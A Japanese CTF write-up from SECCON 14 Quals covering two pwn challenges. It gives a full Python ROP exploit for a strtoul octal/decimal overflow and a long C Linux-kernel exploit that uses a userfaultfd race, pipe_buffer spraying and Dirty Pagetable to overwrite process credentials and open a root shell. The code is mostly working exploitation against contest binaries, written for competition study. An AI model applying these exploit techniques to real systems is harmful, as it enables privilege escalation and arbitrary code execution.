SECCON 14 QualsにTPC2として参加しました。国内8位でした。解いた問題のWriteupを書いておこうと思います。 # pwn: unserialize `alloca`の引数は`strtoul(szbuf, NULL, 0)`で、書き込みサイズは`strtoul(szbuf, NULL, 10)`で計算している。`strtoul`の第3引数`base`が`0`で、1文字目が0かつ2文字目が0~7の場合は8進数として解釈される。一方で書き込みサイズの方は10進数として解釈しているので、OOB Writeが可能になる。 `tmpbuf`を書き換えてリターンアドレスまで書き込みをスキップすることでStack Canaryを書き換えることを回避できる。 ```python #!/usr/bin/env python import sys import ptrlib as ptr import pwn exe = ptr.ELF("./chall") libc = ptr.ELF("./libc.so.6") remote = False def connect(): global remote if remote: return pwn.remote("unserialize.seccon.games", 5000) else: # return pwn.process(exe.filepath) return pwn.remote("localhost", 1337) def unwrap(x): if x is None: ptr.logger.error("Failed to unwrap") exit(1) else: return x def main(): io = connect() length_str = b"0199" sz = int(length_str, 10) pop_rdi_rbp = 0x0049C428 pop_rsi = 0x0043617E pop_rax = 0x004307AC pop_rdx_or_al_pop_r12_rbp = 0x0049A324 syscall = 0x004988F7 data = b"" data = data.ljust(0x20, b"A") data += ptr.p64(0x0000004CA000) data += ptr.p64(0x00000000004CA440) data += ptr.p64(0x28) data += ptr.p8(0x3F) data += ptr.p8(0x47) data += ptr.p64(pop_rdi_rbp) data += ptr.p64(0x4CA0A1) data += ptr.p64(0) data += ptr.p64(pop_rsi) data += ptr.p64(0) data += ptr.p64(pop_rdx_or_al_pop_r12_rbp) data += ptr.p64(0) data += ptr.p64(0) data += ptr.p64(0) data += ptr.p64(pop_rax) data += ptr.p64(59) data += ptr.p64(syscall) assert len(data) <= sz data += b"/bin/sh\0" data = data.ljust(sz, b"A") payload = length_str + b":" + data.hex().encode() io.sendline(payload) io.interactive() return if __name__ == "__main__": for arg in sys.argv[1:]: if arg == "remote": remote = True main() ``` # pwn: tinyfs `tiny_fs_file_write`でファイルデータをコピーする際にロックを取っていない。したがって、`tiny_fs_file_write`で`tiny_fs_find_node_by_ino`を呼び出してから`copy_from_user`が呼び出されるまでの間に、`tiny_fs_unlink`を呼び出すことでUAF Writeができる。この問題ではuserfaultfdが利用可能なので、`copy_from_user`でPage Faultを起こし、Fault Handler内で`unlink`と`pipe_buffer`のスプレーを行った。その後、`pipe_buffer`の先頭のページポインタを書き換えてPage UAFを起こし、Dirty Pagetableでプロセスの権限を書き換えた。 ```c #define _GNU_SOURCE #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include cpu_set_t pwn_cpu; void *buf; int *pipe_fds0; int *pipe_fds1; const uint64_t PIPE_SPRAY_COUNT = 0x80; static void *fault_handler_thread(void *arg) { static struct uffd_msg msg; struct uffdio_copy copy; struct pollfd pollfd; long uffd; static int fault_cnt = 0; if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) fatal("sched_setaffinity"); uffd = (long)arg; puts("[+] fault_handler_thread: waiting for page fault..."); pollfd.fd = uffd; pollfd.events = POLLIN; while (poll(&pollfd, 1, -1) > 0) { if (pollfd.revents & POLLERR || pollfd.revents & POLLHUP) fatal("poll"); if (read(uffd, &msg, sizeof(msg)) <= 0) fatal("read(uffd)"); assert(msg.event == UFFD_EVENT_PAGEFAULT); // freeとpipe_bufferのスプレー unlink("/mnt/tiny/uaf"); pipe_fds1 = spray_pipe(PIPE_SPRAY_COUNT, 60 * 32); log_info("allocating pages for pipe_buffers"); for (int i = 0; i < PIPE_SPRAY_COUNT * 2; i += 2) { int fdr = pipe_fds1[i]; int fdw = pipe_fds1[i + 1]; uint64_t val = 0xcafebabe + i; awrite(fdw, (void *)&val, 8); awrite(fdw, (void *)&val, 8); } copy.src = (unsigned long)buf; copy.dst = (unsigned long)msg.arg.pagefault.address & ~0xfffUL; log_info("dest: %lx", (uint64_t)msg.arg.pagefault.address); copy.len = 0x1000; copy.mode = 0; copy.copy = 0; if (ioctl(uffd, UFFDIO_COPY, ©) == -1) fatal("ioctl(UFFDIO_COPY)"); } return NULL; } int register_uffd(void *addr, size_t len) { struct uffdio_api uffdio_api; struct uffdio_register uffdio_register; long uffd; pthread_t th; /* userfaultfdの作成 */ uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK); if (uffd == -1) fatal("userfaultfd"); uffdio_api.api = UFFD_API; uffdio_api.features = 0; if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) fatal("ioctl(UFFDIO_API)"); uffdio_register.range.start = (unsigned long)addr; uffdio_register.range.len = len; uffdio_register.mode = UFFDIO_REGISTER_MODE_MISSING; if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) fatal("UFFDIO_REGISTER"); if (pthread_create(&th, NULL, fault_handler_thread, (void *)uffd)) fatal("pthread_create"); return 0; } static uint64_t USER_MAPPED_ADDR_BASE = 0; static uint64_t PREV_MAPPED_PADDR_START = 0; static uint64_t PREV_MAPPED_PADDR_END = 0; static int PIPE_FDR = -1; static int PIPE_FDW = -1; static uint16_t PTE_BITS = 0; void change_ptes(int fdr, int fdw, uint64_t paddr, uint16_t bits) { // log_info("change ptes: 0x%lx...", paddr); uint64_t *ptes = zmalloc(8 * 511); for (int i = 0; i < 511; i++) { ptes[i] = (paddr + 0x1000 * i) | bits; } PREV_MAPPED_PADDR_START = paddr; PREV_MAPPED_PADDR_END = paddr + 0x1000 * 511; awrite(fdw, (void *)ptes, 8 * 511); aread(fdr, (void *)ptes, 8 * 511); flush_tlb_child_only((void *)USER_MAPPED_ADDR_BASE, 0x1000 * 511); } void *paddr2vaddr(void *paddr) { if ((uint64_t)paddr % 0x1000 != 0) { log_error("paddr is not page aligned."); return NULL; } int is_cached = 0; if (PREV_MAPPED_PADDR_START <= (uint64_t)paddr && (uint64_t)paddr <= PREV_MAPPED_PADDR_END) { if (PREV_MAPPED_PADDR_START == 0 && PREV_MAPPED_PADDR_END == 0) { is_cached = 0; } else { is_cached = 1; } } if (!is_cached) { change_ptes(PIPE_FDR, PIPE_FDW, (uint64_t)paddr, PTE_BITS); } uint64_t offset = (uint64_t)paddr - PREV_MAPPED_PADDR_START; char *vaddr = (char *)(USER_MAPPED_ADDR_BASE + offset); return vaddr; } int phys_aaw_page(void *paddr, void *from, uint64_t size) { void *vaddr = paddr2vaddr(paddr); memcpy(vaddr, from, size); return 0; } int phys_aar_page(void *paddr, void *dest, uint64_t size) { void *vaddr = paddr2vaddr(paddr); memcpy(dest, vaddr, size); return 0; } char **find_all_byte_sequence(const void *buffer, size_t buffer_len, const void *pattern, size_t pattern_len, size_t *out_count) { char *buf = (char *)buffer; char *pat = (char *)pattern; char **hits = NULL; size_t count = 0; size_t i, j; if (out_count) *out_count = 0; if (!out_count || !buf || !pat) return NULL; if (pattern_len == 0 || buffer_len < pattern_len) return NULL; for (i = 0; i + pattern_len <= buffer_len; i++) { if (buf[i] != pat[0]) continue; for (j = 1; j < pattern_len; j++) { if (buf[i + j] != pat[j]) break; } if (j == pattern_len) count++; } if (count == 0) return NULL; if (count > ((size_t)-1) / sizeof(char *)) return NULL; hits = (char **)malloc(count * sizeof(char *)); if (!hits) return NULL; { size_t k = 0; for (i = 0; i + pattern_len <= buffer_len; i++) { if (buf[i] != pat[0]) continue; for (j = 1; j < pattern_len; j++) { if (buf[i + j] != pat[j]) break; } if (j == pattern_len) hits[k++] = buf + i; } *out_count = k; } return hits; } void perform_cred_overwrite( struct physical_page_aar_aaw_operations ppage_aar_aaw, char *comm, uint64_t init_cred_offset, uint64_t kernel_addr_offset, uint64_t cred_offset_from_comm) { char *compare_buffer = zmalloc(0x20); assert(strlen(comm) <= 0x20); memcpy(compare_buffer, comm, strlen(comm)); char *buffer = zmalloc(0x1000); size_t ptr_count = 0; size_t found_count = 0; for (uint64_t paddr = 0; paddr < 0x10000000; paddr += 0x1000) { ppage_aar_aaw.phys_aar_page((char *)paddr, buffer, 0x1000); if (paddr % 0x1000000 == 0) { log_info("searching: %lx", paddr); } char **ptrs = find_all_byte_sequence( buffer, 0x1000, compare_buffer, 0x18, &ptr_count); if (ptr_count) { for (int i = 0; i < ptr_count; i++) { char *ptr = ptrs[i]; uint64_t kernel_addr = *(uint64_t *)&ptr[0x48]; log_info("kernel_addr: 0x%lx", kernel_addr); log_info( "paddr: 0x%lx", paddr + (ptr - buffer)); if (((kernel_addr >> 40) & 0xffffff) == 0xffffff) { uint64_t kernel_base = kernel_addr - kernel_addr_offset; uint64_t init_cred = kernel_base + init_cred_offset; log_success( "init_cred: 0x%lx", init_cred); *(uint64_t *)&ptr[-cred_offset_from_comm] = init_cred; log_success("&task_struct->comm: 0x%lx", paddr + (ptr - buffer)); ppage_aar_aaw.phys_aaw_page( (char *)paddr, buffer, 0x1000); found_count += 1; } } free(ptrs); ptr_count = 0; } } system("/bin/sh"); } int main() { prctl(PR_SET_NAME, "HELLO_SEKAI", 0, 0, 0, 0); CPU_ZERO(&pwn_cpu); CPU_SET(0, &pwn_cpu); if (sched_setaffinity(0, sizeof(cpu_set_t), &pwn_cpu)) fatal("sched_setaffinity"); void *page = mmap((void *)NULL, 0x2000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); register_uffd(page, 0x2000); buf = zmalloc(0x2000); // memset(buf, 'A', 0x2000); pipe_fds0 = spray_pipe(PIPE_SPRAY_COUNT, 60 * 32); log_info("allocating pages for pipe_buffers"); for (int i = 0; i < PIPE_SPRAY_COUNT * 2; i += 2) { int fdr = pipe_fds0[i]; int fdw = pipe_fds0[i + 1]; unsigned long val = 0xdeadbeef + i; awrite(fdw, (void *)&val, 8); awrite(fdw, (void *)&val, 8); } int fd = open("/mnt/tiny/uaf", O_RDWR | O_CREAT); write(fd, page, 1); log_info("finding pipe_buffers which share same page."); int victim_pipe_fds[2] = {0}; // 書き換わってない方のpipe_buffer int modified_pipe_fds[2] = {0}; // 書き換わったほうのpipe_buffer for (int i = 0; i < PIPE_SPRAY_COUNT * 2; i += 2) { int fdr = pipe_fds0[i]; int fdw = pipe_fds0[i + 1]; unsigned long val = 0; aread(fdr, (void *)&val, 8); if (val != 0xdeadbeef + i) { modified_pipe_fds[0] = fdr; modified_pipe_fds[1] = fdw; int idx = val - 0xdeadbeef; if (0 <= idx && idx < PIPE_SPRAY_COUNT * 2) { victim_pipe_fds[0] = pipe_fds0[idx]; victim_pipe_fds[1] = pipe_fds0[idx + 1]; break; } idx = val - 0xcafebabe; if (0 <= idx && idx < PIPE_SPRAY_COUNT * 2) { victim_pipe_fds[0] = pipe_fds1[idx]; victim_pipe_fds[1] = pipe_fds1[idx + 1]; break; } } fdr = pipe_fds1[i]; fdw = pipe_fds1[i + 1]; val = 0; aread(fdr, (void *)&val, 8); if (val != 0xcafebabe + i) { modified_pipe_fds[0] = fdr; modified_pipe_fds[1] = fdw; int idx = val - 0xdeadbeef; if (0 <= idx && idx < PIPE_SPRAY_COUNT * 2) { victim_pipe_fds[0] = pipe_fds0[idx]; victim_pipe_fds[1] = pipe_fds0[idx + 1]; break; } idx = val - 0xcafebabe; if (0 <= idx && idx < PIPE_SPRAY_COUNT * 2) { victim_pipe_fds[0] = pipe_fds1[idx]; victim_pipe_fds[1] = pipe_fds1[idx + 1]; break; } } } if (!victim_pipe_fds[0] || !modified_pipe_fds[0]) { log_error("failed to find victim fd and modified fd."); aclose(fd); exit(0); } log_success("found:"); log_success("victim_fds: fdr = %d, fdw = %d", victim_pipe_fds[0], victim_pipe_fds[1]); log_success("modified_fds: fdr = %d, fdw = %d", modified_pipe_fds[0], modified_pipe_fds[1]); log_info("freeing the page."); int freed = 0; int is_freed = 0; for (int i = 0; i < PIPE_SPRAY_COUNT * 2; i += 2) { if (freed == 4 && !is_freed) { log_debug("freeing victim_fds: %d, %d", victim_pipe_fds[0], victim_pipe_fds[1]); aclose(victim_pipe_fds[0]); aclose(victim_pipe_fds[1]); is_freed = 1; continue; } if (freed == 6) { break; } int fdr = pipe_fds0[i]; int fdw = pipe_fds0[i + 1]; if (victim_pipe_fds[0] == fdr || victim_pipe_fds[1] == fdw || modified_pipe_fds[0] == fdr || modified_pipe_fds[1] == fdw) { continue; } log_debug("freeing: %d, %d", fdr, fdw); aclose(fdr); aclose(fdw); freed++; } log_info("spraying page tables."); for (int i = 0; i < 1; i++) { for (int j = 0; j < 512; j++) { uint64_t *addr = (void *)(0xdead0000000UL + 0x200000 * i + 0x1000 * j); if (mmap(addr, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { log_error("failed to mmap 0x%lx", (unsigned long)addr); exit(1); } *(volatile char *)(addr); } } uint64_t pte = 0; aread(modified_pipe_fds[0], (void *)&pte, 8); if (pte >> 32 != 0x80000000) { aclose(fd); die("failed to overlap pipe_buffer->page and PTE."); } log_success("pte: 0x%lx", pte); uint16_t bits = pte & 0xfff; PIPE_FDR = modified_pipe_fds[0]; PIPE_FDW = modified_pipe_fds[1]; PTE_BITS = bits; USER_MAPPED_ADDR_BASE = 0xdead0000000UL; struct physical_page_aar_aaw_operations aar_aaw_operations = { .phys_aar_page = phys_aar_page, .phys_aaw_page = phys_aaw_page}; log_error("bits: %x", bits); perform_cred_overwrite( aar_aaw_operations, "HELLO_SEKAI", 0xe3ac80, 0xe3ab20, 8); return 0; } ```

SECCON 14 Quals Writeup